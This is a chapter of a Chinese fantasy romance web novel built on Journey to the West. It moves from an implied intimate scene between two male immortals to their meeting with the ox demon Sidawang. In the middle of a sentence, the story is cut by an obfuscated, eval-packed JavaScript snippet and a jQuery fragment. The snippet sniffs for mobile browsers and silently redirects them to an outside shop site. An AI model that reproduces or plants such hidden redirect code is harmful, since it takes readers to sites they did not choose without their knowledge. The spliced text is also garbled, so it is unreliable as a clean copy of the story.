随着原宵体温的升高,那股食物的清甜香味在空气中肆意地散发着,勾引着人的味蕾,牵引出辰之岩的食欲和其他欲望。
不知是否是他的错觉,辰之岩总觉得四周都温度也在缓缓升高。
他喉头滚动,眸色深沉,问:“宵宵,还听得到我说话吗?”
原宵半眯着双眼,微微点头以示回应,带着一丝鼻音,哼哼一般“嗯”了一声,他的意识还在。
因此,原宵清晰地听到辰之岩的话语,让他对这种陌生的感觉,产生了震撼。
“宵宵,你的身体……在发,情吗?”
什么?原宵眨巴着眼睛,浑身颤抖,他不敢相信自己听到了什么,是幻听吗?应该不至于,他还没有糊涂到那种程度。
可是他又不是动物,现在又不是春天,怎么会呢?他只是一颗元宵啊?
究竟是为什么会变成这样?
内心埋怨着,也不自觉说了出来,然而这个问题,注定没有准确的答案。
辰之岩也只能根据活了上千年的经验猜测,“可能在炼丹炉里,你不小心融入了过多的真火,现在聚集在你体内疏散不开,才会产生这样的反应。”
他一本正经地胡说八道,安慰着原宵大受震撼的心灵。
不过他的说法并非胡编乱造,以前确实有过这样的情况。
原宵无力地忍受着真火在体内乱窜,自己却无法释放,他咬着牙,忽略额间的阵阵汗珠。
总而言之,现在不是讨论原因的时候。
原宵无奈道:“现在最重要的是怎么解决这个问题吧?不要再胡乱猜测了……”他将脑袋埋在手臂臂弯里,遮掩住被真火焚烧得通红的双颊。
无法,在这个水源稀缺的火焰山上,辰之岩暂时不可能在短时间内找到冰或者水给原宵泡着,他只能在身上覆盖上冰冷的石甲,紧紧抱住原宵。
石甲冰凉,原宵灼热的肌肤贴上冰冰凉的表面,就不想离开,甚至想要索取更多,奈何石甲的寒凉是一时的,满足不了原宵,体内的真火慢慢汇聚在下腹部。
原宵只觉得丹田以下的地方格外难受,面对辰之岩起立,多少有些羞耻,哪怕他背对着,辰之岩看不见。
不过辰之岩对原宵的一举一动都格外关注,这情况自然瞒不过他的法眼。
辰之岩眉尾上扬,一股痞气由然而生,佯装惊讶:“宵宵这是……”
“闭嘴!”
话还没有说完,便被原宵怒声打断,银白的发丝被汗水打湿,乖巧地贴在原宵额间,遮住了他的眉眼,盖住了他隐忍的表情。
辰之岩心神一动,把原宵掰了过来,他想瞧见原宵的一切表现。
一手拂过原宵的面庞,将雪一般的发丝挑起在一边,仔细打量着原宵湿润微红的眼眶,眸色被春水浸湿,霞色蔓延至眼下,格外得美好。
是的,美好。
心上人的一举一动对辰之岩来说都是美好的,尤其是陷入浓浓春意之时。
原宵被瞧着,不敢去看辰之岩,他面皮薄,受不了刺激,可是这样让他很难受,真火得不到抒发,便更加聚集猛烈。
忍不了了。
原宵手抖了抖,缓缓向下,却被辰之岩握住。
被紧紧包裹的感觉让原宵片刻失神,忘记了辰之岩在干嘛。
时间过得很慢,也许并不慢,只是等他回过神,真火带来的感受已经散尽了。
剩下的,只有两个人串在一起的情谊。
或许辰之岩也觉得这个氛围很不错,他这个石头总算开了智,有了点情商。
辰之岩像信徒一样对着他的信仰诉说着他的祈愿,好在,他得到了他所信之人的垂怜,惊喜砸得他措手不及。
他很快找回了自己。
那块被遗弃的石头坚强冰冷,带着森森寒意,从山脊上坠落,慢慢划过平野,从山峰落入谷底,寻到一处湿润的泉眼,那便是石头心怡的归处……
神明从远处高台上接近他的信徒,他累坏了,好在二人心意相连。
辰之岩再次将那翘起的雪白头发捋顺,那是他之前太过激动,不小心抓翘的,是他太粗暴了。
他眼中带着怜惜,手捧着原宵的脸,原宵已经睡去,真火的折磨已经不复存在,他的睡相很乖巧,没有醒来时那么张牙舞爪。
浅浅的呼吸声传来,原宵对外界的一切都感受不到,辰之岩目光落在那桃色一般鲜艳的唇上,肉嘟嘟的,像果子一样饱满,他听过那里发出过悦耳的声音。
低首吻上他觊觎已久的果实,贪婪地掠夺着气息和汁液。
直到他自己满足了,才紧紧怀抱着原宵睡去。
一夜无梦,再次睁眼时,原宵是被饭香味勾引起来的,他胃里的馋虫在咕咕叫唤了。
“你醒了?”
辰之岩温和地笑着。
原宵定定地看着他,手抚上对方的脸,显得有些呆呆的。
“你……”他有些不知道怎么说了,昨天的事他并非全无印象,甚至身体上还有所保留。
见状,辰之岩轻声安抚,喊他起来吃饭,并贴心地替他穿好了衣服。
这番举动让原宵很不自在,一直到吃完早饭,离开火焰山时,两个人都维持着怪异的氛围。
原宵是因为羞涩,辰之岩则是愿望实现的欣喜,让他有些飘飘然了,当事人一直维持着诡异又恶心的微笑。
借原宵的话来说,辰之岩不适合笑,更不适合傻笑,因为不像演的。
等原宵坐上马车,才问辰之岩:“我们这是要去哪里?”
“回去。”
原宵歪头,不解:“回去?”
辰之岩一挥鞭,马儿大步向前,他应答:“回天庭。”
“天庭!”原宵眼前一亮,“你知道怎么回去吗?”
他们二人来的时候都是由于老君和司命的指引,才回到千年之前,他们说要等原宵拿回机缘,渡完劫难,才能返回天庭,可是具体要如何回去并没有来得及告诉他,因此二人在此之前是不清楚要怎么回去的。
这时,辰之岩却告诉他,他可以回去了,知晓返回天庭的办法,这让原宵很是激动,像条焦急的小狗,不停地摇着尾巴原地打转,缠在辰之岩身边。
辰之岩把探出马车的原宵推进马车内,说着危险,一边给原宵解释着。
“我并不清楚回到千年后天庭的具体办法,但是有一个人一定能够帮上我们的忙。”
原宵再次
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16831671|190189||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
从车中探出脑袋:“是谁?”
“孙悟空。”
还不等疑惑的原宵发出疑问,辰之岩就好像他肚子里的蛔虫,开口替他解释起来。
“我记得我曾经告诉你,我是一处顽石,偶然和被压在五指山下的孙悟空相识,我还记得他的气息,不知为何,昨夜我清醒时,感受到他要来了。”
“怎么回事?”原宵来到辰之岩身边,和他坐在一起,戳了戳对方厚实的臂膀,“你说仔细些。”
辰之岩将原宵不老实的手指拨弄开来,说:“他不是上天入地无所不能吗?那就劳烦孙行者,给我们一条明路吧。”
指点迷津的行者并没有碰上,反而先是遇见了一个慌忙逃窜的妖怪,满面的烟尘都掩盖不住青灰色的皮肤,两个大角显露在外,张扬地表示着他本人是个妖怪的事实,穿着珠光宝气,行事却十分慌乱,好似活见了鬼一样。
那妖怪眼尖,一眼就认出来了原宵和辰之岩妖怪的身份,正在为逃命途中碰到同类而欣喜若狂。
他急忙大声询问:“敢问二位是何方妖怪?可否搭救于我?助我脱困,我日后必有重谢!”
于是辰之岩和原宵将马车停在那个牛妖身边,拦截住了他的去路。
原宵瞧了半天,瞧不出这妖怪的来路,这家伙身上不单只有灰尘,还有泥巴与鲜血,明显是受过伤,他只能看得出这家伙的原型是个妖怪。
能在火焰山的妖怪……莫非是牛魔王?
这也不对啊,牛魔王的实力不凡,定不会向他们两个妖怪求助,况且先前还从红孩儿口中套过话,他爹正沉醉于狐狸窝里,没时间来看他们娘俩儿。
总不能是被玉面狐狸赶了出来吧?那是不可能的。
这货绝不可能是牛魔王,所以这头老牛到底是谁啊?无名小妖怎么会惹祸上身被人追着杀啊?
原宵不解,但仍准备拿他狮驼岭大王的身份唬人,随口应答着:“我乃狮驼岭四大王,若有不信大可去询问我三哥金翅大鹏。”他拍了拍辰之岩的肩膀,神色骄矜。
“至于他,则是我手下一等一的心腹,说说看,你遇到了什么难事?倘若是干了什么伤天害理的事情,可别怪我们无情,我们游走在外,也不想惹祸上身。”
那头老牛连连赔笑:“哦!原来是狮驼岭的小大王,失敬失敬!”他一拱手。
继而露出难言之色,左右环顾,见四下寂寥无人,才道:“我本是金兜山金兜洞独角兕大王,本来在洞府住得好好的……”他笑了几声,轻描淡写地把自己做的恶事盖了过去。
“结果路上遇到一行四人,骑着白马,我不甚得罪了伙人中的其中一人,结果他就紧抓我不放,还带了不少人毁了我的地盘,我好不容易逃到这里,他们还在后边追我。”
这妖怪一副大汉的模样,此刻却流露出不合时宜的忧愁:“二位,可否让我躲进马车,带我远离这里?要是二位不肯帮忙,我要不了多久,就被他们抓住了!”
原宵闻言,神游天外,脑子一团浆糊。
等等,这老牛说什么?金兜山金兜洞独角兕大王?这不是老君养的那头牛的名字吗?
他记得后世流传的传说中,确有其事,老君的牛下凡成妖了!